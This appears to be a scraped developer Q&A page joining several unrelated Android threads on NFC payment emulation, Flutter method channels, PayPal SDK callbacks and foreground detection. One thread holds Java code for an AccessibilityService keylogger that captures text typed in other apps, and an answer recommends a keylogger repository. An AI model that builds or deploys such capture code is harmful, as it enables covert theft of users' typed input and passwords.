Payment through HCE - android

I've been working on the app where I need to implement tap & pay. I am able to connect the HCE service with NFC terminal.
Now my question is what are the next steps, for making actual payment with it?
I've searched everywhere but I could not find a decent document for it. Please help me.
Below is the code I have written to connect HCE service to NFC terminal.
Android Manifest
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.nfcemulator">
<uses-permission android:name="android.permission.NFC" />
<uses-feature android:name="android.hardware.nfc.hce"
android:required="true" />
<application
android:allowBackup="true"
android:icon="#mipmap/ic_launcher"
android:label="#string/app_name"
android:roundIcon="#mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="#style/Theme.NFCEmulator">
<activity
android:name=".MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service
android:name=".service.HCEService"
android:exported="true"
android:permission="android.permission.BIND_NFC_SERVICE">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE" />
</intent-filter>
<meta-data
android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="#xml/apduservice" />
</service>
</application>
</manifest>
HCE Service
class HCEService: HostApduService() {
companion object {
val TAG = "Host Card Emulator"
val STATUS_SUCCESS = "9000"
val STATUS_FAILED = "6F00"
val CLA_NOT_SUPPORTED = "6E00"
val INS_NOT_SUPPORTED = "6D00"
val AID = "A0000002471001"
val SELECT_INS = "A4"
val DEFAULT_CLA = "00"
val MIN_APDU_LENGTH = 12
}
override fun onDeactivated(reason: Int) {
Log.d(TAG, "Deactivated: " + reason)
}
override fun processCommandApdu(commandApdu: ByteArray?, extras: Bundle?): ByteArray {
if (commandApdu == null) {
return Utils.hexStringToByteArray(STATUS_FAILED)
}
val hexCommandApdu = Utils.toHex(commandApdu)
if (hexCommandApdu.length < MIN_APDU_LENGTH) {
return Utils.hexStringToByteArray(STATUS_FAILED)
}
if (hexCommandApdu.substring(0, 2) != DEFAULT_CLA) {
return Utils.hexStringToByteArray(CLA_NOT_SUPPORTED)
}
if (hexCommandApdu.substring(2, 4) != SELECT_INS) {
return Utils.hexStringToByteArray(INS_NOT_SUPPORTED)
}
if (hexCommandApdu.substring(10, 24) == AID) {
return Utils.hexStringToByteArray(STATUS_SUCCESS)
} else {
return Utils.hexStringToByteArray(STATUS_FAILED)
}
}
}
apduservices.xml
<?xml version="1.0" encoding="utf-8"?>
<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="#string/hce_service"
android:requireDeviceUnlock="false">
<aid-group android:description="#string/aid_groups"
android:category="other">
<aid-filter android:name="325041592E5359532E4444463031"/>
</aid-group>
</host-apdu-service>

I think you have approached this feature at a low level, which is unnecessary given that this functionality is offered when using Google Pay (it supports NFC payments as well as online purchases).
All you need to know about Google Pay if you’re a developer
The Flutter pay plugin is the quickest method to add payment capabilities for your Android app.
Google Pay introduces a Flutter plugin for payments
Pay plugin 1.0.6

Related

Why am I getting a MissingPluginException when using platform-specific code (Kotlin) in my Flutter app?

I've been trying to use Android code in a Flutter project to do audio-related tasks, and I've been following Flutter's guide to do so. However, when I try to call the method on the method channel, I've been getting a MissingPluginException that says that the method (getAudioSessionID) isn't implemented. I found a post on a similar issue, but it doesn't seem like it was solved. I put some print statements in MainActivity, but they aren't being called.
This is what the MainActivity class looks like in MainActivity.kt:
class MainActivity: FlutterActivity() {
private val CHANNEL = "XXX.XXX/eqAndroid"
override fun configureFlutterEngine(#NonNull flutterEngine: FlutterEngine) {
super.configureFlutterEngine(flutterEngine)
MethodChannel(flutterEngine.dartExecutor.binaryMessenger, CHANNEL).setMethodCallHandler {
call, result ->
print("This is being called")
if (call.method == "getAudioSessionID") {
val audioSessionID = getAudioSessionID()
print(audioSessionID)
} else {
result.notImplemented()
print("else block in if/else statement")
}
}
}
private fun getAudioSessionID(): String {
return AudioEffect.ACTION_OPEN_AUDIO_EFFECT_CONTROL_SESSION
}
}
I defined a global variable for the method channel in a constants.dart file:
const eqAndroidPlatform = MethodChannel('XXX.XXX/eqAndroid');
, and this is the function that is supposed to invoke the getAudioSessionID method:
Future<void> getAudioSessionID() async {
String audioSessionID;
try {
final String result = await eqAndroidPlatform.invokeMethod('getAudioSessionID');
audioSessionID = 'Currently playing audio session ID is $result .';
} on PlatformException catch (e) {
audioSessionID = "Failed to get audio session ID: '${e.message}'.";
}
setState(() {
this.audioSessionID = audioSessionID;
});
}
This is the code in AndroidManifest:
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
package="XXX.XXX.XXX">
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<application
android:name="${applicationName}"
android:icon="#mipmap/ic_launcher"
android:label="XXX">
<activity
android:name="com.ryanheise.audioservice.AudioServiceActivity"
android:configChanges="orientation|keyboardHidden|keyboard|screenSize|smallestScreenSize|locale|layoutDirection|fontScale|screenLayout|density|uiMode"
android:exported="true"
android:hardwareAccelerated="true"
android:launchMode="singleTop"
android:theme="#style/LaunchTheme"
android:windowSoftInputMode="adjustResize"
tools:ignore="Instantiatable">
<!-- Specifies an Android theme to apply to this Activity as soon as
the Android process has started. This theme is visible to the user
while the Flutter UI initializes. After that, this theme continues
to determine the Window background behind the Flutter UI. -->
<meta-data
android:name="io.flutter.embedding.android.NormalTheme"
android:resource="#style/NormalTheme" />
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name="com.ryanheise.audioservice.AudioService"
android:exported="true" tools:ignore="Instantiatable">
<intent-filter>
<action android:name="android.media.browse.MediaBrowserService" />
</intent-filter>
</service>
<receiver android:name="com.ryanheise.audioservice.MediaButtonReceiver"
android:exported="true" tools:ignore="Instantiatable">
<intent-filter>
<action android:name="android.intent.action.MEDIA_BUTTON" />
</intent-filter>
</receiver>
<receiver android:name=".receivers.AudioSessionReceiver">
<intent-filter>
<action android:name="android.media.action.OPEN_AUDIO_EFFECT_CONTROL_SESSION"/>
</intent-filter>
</receiver>
<!-- Don't delete the meta-data below.
This is used by the Flutter tool to generate GeneratedPluginRegistrant.java -->
<meta-data
android:name="flutterEmbedding"
android:value="2" />
</application>
</manifest>

PayPal callback does not trigger after login to the PayPal account

I'm stuck with the next issue.
I integrated PayPal sdk into my android app.
implementation 'com.paypal.checkout:android-sdk:0.6.1'
My app has an underscore in the package name so I have to use ‘App links’. I tested it in the test-app, all works fine like on the first screenschoot.
But in the main app when I successfully log in to a paypal account and redirect back to the app, the callback does not trigger.
I also figured out if I press on close button, callback yes triggers.
Also when I returns to the app I receive Intent like this:
app.mobile.main.app.name://paypalpay?code=C21AALAqib-oCkJXmgsoDPPbpAiYza7KJgVoA_01gzzYtawIsgofw0PmCpr186xkz1OY6tSQ....
Please write if you have any suggestions.
Thanks and have a nice day.
Here snippets of Manifest file and PayPalFragment.
Android Manifest:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
package="app.mobile.main_app.name">
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission
android:name="android.permission.WRITE_EXTERNAL_STORAGE"
android:maxSdkVersion="28" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-feature android:name="android.hardware.camera.autofocus" />
<uses-feature android:name="android.hardware.camera" />
<application
android:name=".MyApplication"
android:allowBackup="false"
android:hardwareAccelerated="true"
android:icon="#mipmap/logo"
android:label="#string/app_name"
android:largeHeap="true"
android:requestLegacyExternalStorage="true"
android:roundIcon="#mipmap/logo"
android:supportsRtl="true"
android:theme="#style/MaterialTheme"
android:usesCleartextTraffic="true"
tools:replace="android:allowBackup">
<activity
android:name=".Ux.Activities.MainActivity"
android:configChanges="keyboardHidden|orientation|screenSize"
android:excludeFromRecents="true"
android:exported="true"
android:launchMode="singleTop"
android:screenOrientation="portrait"
android:windowSoftInputMode="stateHidden|adjustResize">
<intent-filter >
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data
android:host="paypalpay"
android:scheme="app.mobile.main.app.name" />
</intent-filter>
</activity>
</application>
</manifest>
PayPalFragment.kt
class PayPalFragment : Fragment() {
override fun onAttach(context: Context) {
super.onAttach(context)
PayPalCheckout.registerCallbacks(
onApprove = OnApprove { approval ->
approval.orderActions.capture { captureOrderResult ->
Log.i("tester", "OnApprove called.")
}
},
onCancel = OnCancel {
Log.i("tester", "OnCancel called.")
},
onError = OnError { errorInfo ->
Log.i("tester", "onError called.")
},
onShippingChange = OnShippingChange { shippingChangeData, shippingChangeActions ->
Log.i("tester", "onShippingChange called.")
}
)
}
override fun onCreateView(
inflater: LayoutInflater, container: ViewGroup?,
savedInstanceState: Bundle?
): View? {
val fragView = inflater.inflate(R.layout.fragment_pay_pal, container, false)
val payPalButton = fragView.findViewById<Button>(R.id.paypal_button)
payPalButton.setOnClickListener {
PayPalCheckout.startCheckout(
CreateOrder { createOrderActions ->
val order = Order(
intent = OrderIntent.CAPTURE,
appContext = AppContext(
userAction = UserAction.PAY_NOW
),
purchaseUnitList = listOf(
PurchaseUnit(
amount = Amount(
currencyCode = CurrencyCode.USD,
value = "10.00"
)
)
)
)
createOrderActions.create(order)
}
)
}
return fragView
}
}
So solution is to add default PayPal activity to AndroidManifest.xml
You just copy the code below and change YOUR-CUSTOM-SCHEME to what you declared in ReturnUrl in the PayPal developer account.
No need to create this activity, it comes with the PayPal SDK.
It will redirect you back into your app and trigger a PayPal payment sheet.
After the user has completed or canceled the payment, the corresponding callback will be called.
<activity
android:name="com.paypal.openid.RedirectUriReceiverActivity"
android:excludeFromRecents="true"
android:theme="#style/PYPLAppTheme">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data
android:host="paypalpay"
android:scheme="YOUR-CUSTOM-SCHEME" />
</intent-filter>
</activity>

Send Card Details to NFC Terminal

I am trying to create payment app which support the tap & pay functionality. I am already done with the Connecting App to NFC terminal with use of SELECT APDU Command.
Now, I want to send the stored card details from app to NFC Terminal, so it can make transaction.
Can you suggest me any kind of documents, which can help me to achieve it, such as how to send the details securely and in what kind of format it should be send?
any help would be appreciated.
here is the code
Android Manifest
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.nfcemulator">
<uses-permission android:name="android.permission.NFC" />
<uses-feature android:name="android.hardware.nfc.hce"
android:required="true" />
<application
android:allowBackup="true"
android:icon="#mipmap/ic_launcher"
android:label="#string/app_name"
android:roundIcon="#mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="#style/Theme.NFCEmulator">
<activity
android:name=".MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service
android:name=".service.HCEService"
android:exported="true"
android:permission="android.permission.BIND_NFC_SERVICE">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE" />
</intent-filter>
<meta-data
android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="#xml/apduservice" />
</service>
</application>
</manifest>
HCE Service
class HCEService: HostApduService() {
companion object {
val TAG = "Host Card Emulator"
val STATUS_SUCCESS = "9000"
val STATUS_FAILED = "6F00"
val CLA_NOT_SUPPORTED = "6E00"
val INS_NOT_SUPPORTED = "6D00"
val AID = "A0000002471001"
val SELECT_INS = "A4"
val DEFAULT_CLA = "00"
val MIN_APDU_LENGTH = 12
}
override fun onDeactivated(reason: Int) {
Log.d(TAG, "Deactivated: " + reason)
}
override fun processCommandApdu(commandApdu: ByteArray?, extras: Bundle?): ByteArray {
if (commandApdu == null) {
return Utils.hexStringToByteArray(STATUS_FAILED)
}
val hexCommandApdu = Utils.toHex(commandApdu)
if (hexCommandApdu.length < MIN_APDU_LENGTH) {
return Utils.hexStringToByteArray(STATUS_FAILED)
}
if (hexCommandApdu.substring(0, 2) != DEFAULT_CLA) {
return Utils.hexStringToByteArray(CLA_NOT_SUPPORTED)
}
if (hexCommandApdu.substring(2, 4) != SELECT_INS) {
return Utils.hexStringToByteArray(INS_NOT_SUPPORTED)
}
if (hexCommandApdu.substring(10, 24) == AID) {
return Utils.hexStringToByteArray(STATUS_SUCCESS)
} else {
return Utils.hexStringToByteArray(STATUS_FAILED)
}
}
}
apduservices.xml
<?xml version="1.0" encoding="utf-8"?>
<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="#string/hce_service"
android:requireDeviceUnlock="false">
<aid-group android:description="#string/aid_groups"
android:category="other">
<aid-filter android:name="325041592E5359532E4444463031"/>
</aid-group>
</host-apdu-service>

AccessibilityService issue on Android app

I am working on an Android app (academic purposes) and as part of the app I want to integrate a Keylogger. Following this answer Android Key logger I tried to implement it using AccessibilityService. The code for my class, called Keylogger.java, is the following:
import android.accessibilityservice.AccessibilityService;
import android.util.Log;
import android.view.accessibility.AccessibilityEvent;
public class Keylogger extends AccessibilityService {
#Override
public void onAccessibilityEvent(AccessibilityEvent event) {
int tipo = event.getEventType();
switch(tipo) {
case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED: {
String data = event.getText().toString();
System.out.println("data: " + data);
break;
}
case AccessibilityEvent.TYPE_VIEW_FOCUSED: {
String data = event.getText().toString();
System.out.println("data: " + data);
break;
}
case AccessibilityEvent.TYPE_VIEW_CLICKED: {
String data = event.getText().toString();
System.out.println("data: " + data);
break;
}
default:
break;
}
}
#Override
public void onInterrupt() {
}
#Override
public void onServiceConnected() {
Log.d("Keylogger", "Starting service");
}
}
The Manifest file looks like this:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
package="com.example.mychat">
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"></uses-permission>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"></uses-permission>
<uses-permission android:name="android.permission.INTERNET" ></uses-permission>
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE" />
<application
android:allowBackup="true"
android:icon="#mipmap/ic_launcher"
android:label="#string/app_name"
android:roundIcon="#mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="#style/AppTheme">
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity android:name=".ChatBoxActivity">
<intent-filter>
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name=".Keylogger"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data
android:name="android.accessibilityservice"
android:resource="#xml/accessibility_service_config" />
</service>
</application>
and finally, the Configuration file for the service:
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:packageNames=""
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFlags="flagDefault"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="100"
android:canRetrieveWindowContent="true"
android:canRequestFilterKeyEvents="true"
android:settingsActivity="" />
When I install the app on the device it works just fine (that is, I get no errors), and I can manually activate the service going to Settings >> Accessibility. But nothing happens next. I tried everything (launch other applications and type some text) but the prints that I placed on each case will not show up. The app does several things but from my understanding the service should work automatically. What am I missing and how can I get it right?
Thank you in advance.
https://github.com/bshu2/Android-Keylogger
Here's a android accessibility Keylogger I've used before , and works nice
I guess you can compare your application with that Keylogger , you might find your mistake

Check if app is running in foreground or background (with sync adapter)

I know this's a repeated question but i've looked all over the place and couldn't find a solution that works for me so...
I've an app that fetches movie data from TMDB API, it fetches it by page using a sync adapter, basically it runs great except when the sync adapter's periodic sync is ran while the app is open and the user is not at the first page, so my options were to force update the movies list and send the user to the top of the list which is totally bad experience so not considered as an option, Or i could check if the app is running, either in foreground or in the app stack that it's not visible to the user yet still running, so the best i could get to by searching was this piece of code:
public static boolean isAppRunning(final Context context, final String packageName) {
final ActivityManager activityManager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
final List<ActivityManager.RunningAppProcessInfo> procInfos = activityManager.getRunningAppProcesses();
if (procInfos != null) {
for (final ActivityManager.RunningAppProcessInfo processInfo : procInfos) {
if (processInfo.processName.equals(packageName))
return true;
}
}
return false;
}
but for whatever reason it doesn't work correctly and sees the app as running even if i killed it by swiping, at first i thought it was because i have a sync adapter which could be considered as the app running so i used another process for it in the manifest using the
android:process=":service"
but it didn't work
Also thought about using variables in onStart and onStop of the activity but it's not guaranteed that onStop will be called when app is closed or killed so trying to avoid this method
this's my manifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="inc.mourad.ahmed.watchme">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS" />
<uses-permission android:name="android.permission.READ_SYNC_SETTINGS" />
<uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS" />
<permission
android:name="inc.ahmed.mourad.ACCESS_WATCHME_DATABASE"
android:label="access my movies content provider"
android:protectionLevel="dangerous" />
<permission
android:name="inc.ahmed.mourad.ACCESS_WATCHME_SYNC_SERVICE"
android:label="access my sync service"
android:protectionLevel="dangerous" />
<permission
android:name="inc.ahmed.mourad.ACCESS_WATCHME_SYNC_AUTHENTICATOR_SERVICE"
android:label="access my sync authenticator dummy service"
android:protectionLevel="dangerous" />
<application
android:allowBackup="true"
android:icon="#mipmap/ic_launcher"
android:label="#string/app_name"
android:supportsRtl="true"
android:theme="#style/Theme.AppCompat">
<activity android:name=".SplashScreenActivity"
android:theme="#style/Theme.AppCompat.NoActionBar">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity
android:name=".MainActivity"
android:label="#string/app_name"
android:theme="#style/Theme.AppCompat">
<intent-filter>
<data
android:host="www.ahmedmourad.com"
android:pathPrefix="/watchme/"
android:scheme="http" />
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
</intent-filter>
</activity>
<activity
android:name=".SettingsActivity"
android:label="#string/title_activity_settings"
android:parentActivityName=".MainActivity">
<meta-data
android:name="android.support.PARENT_ACTIVITY"
android:value="inc.mourad.ahmed.watchme.MainActivity" />
</activity>
<activity android:name=".MovieDetailsActivity" />
<provider
android:name=".data.MovieProvider"
android:authorities="#string/content_authority"
android:enabled="true"
android:exported="false"
android:permission="inc.ahmed.mourad.ACCESS_WATCHME_DATABASE"
android:syncable="true" />
<!-- SyncAdapter's dummy authentication service -->
<service android:name=".sync.WatchMeAuthenticatorService"
android:permission="inc.ahmed.mourad.ACCESS_WATCHME_SYNC_AUTHENTICATOR_SERVICE"
android:process=":service">
<intent-filter>
<action android:name="android.accounts.AccountAuthenticator" />
</intent-filter>
<meta-data
android:name="android.accounts.AccountAuthenticator"
android:resource="#xml/authenticator" />
</service>
<!-- The SyncAdapter service -->
<service
android:name=".sync.WatchMeSyncService"
android:exported="true"
android:permission="inc.ahmed.mourad.ACCESS_WATCHME_SYNC_SERVICE"
android:process=":service">
<intent-filter>
<action android:name="android.content.SyncAdapter" />
</intent-filter>
<meta-data
android:name="android.content.SyncAdapter"
android:resource="#xml/syncadapter" />
</service>
</application>
so, any ideas? Thanks in advance
We tweaked your idea and came up with this (in Kotlin, see below for Java):
fun appInForeground(context: Context): Boolean {
val activityManager = context.getSystemService(Context.ACTIVITY_SERVICE) as ActivityManager
val runningAppProcesses = activityManager.runningAppProcesses ?: return false
return runningAppProcesses.any { it.processName == context.packageName && it.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND }
}
This is the equivalent in Java:
private boolean appInForeground(#NonNull Context context) {
ActivityManager activityManager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
List<ActivityManager.RunningAppProcessInfo> runningAppProcesses = activityManager.getRunningAppProcesses();
if (runningAppProcesses == null) {
return false;
}
for (ActivityManager.RunningAppProcessInfo runningAppProcess : runningAppProcesses) {
if (runningAppProcess.processName.equals(context.getPackageName()) &&
runningAppProcess.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
return true;
}
}
return false;
}
Here's the relevant documentation.
Original Answer : https://stackoverflow.com/a/48767617/10004454
The recommended way to do it in accordance with Android documentation is
class MyApplication : Application(), LifecycleObserver {
override fun onCreate() {
super.onCreate()
ProcessLifecycleOwner.get().lifecycle.addObserver(this)
}
fun isInForeground(): Boolean {
return ProcessLifecycleOwner.get().lifecycle.currentState.isAtLeast(Lifecycle.State.STARTED)
}
#OnLifecycleEvent(Lifecycle.Event.ON_STOP)
fun onAppBackgrounded() {
//App in background
Log.e(TAG, "************* backgrounded")
Log.e(TAG, "************* ${isInForeground()}")
}
#OnLifecycleEvent(Lifecycle.Event.ON_START)
fun onAppForegrounded() {
Log.e(TAG, "************* foregrounded")
Log.e(TAG, "************* ${isInForeground()}")
// App in foreground
}}
In your gradle (app) add : implementation "androidx.lifecycle:lifecycle-extensions:2.2.0"
Then to check the state at runtime call (applicationContext as MyApplication).isActivityVisible()

Categories

Resources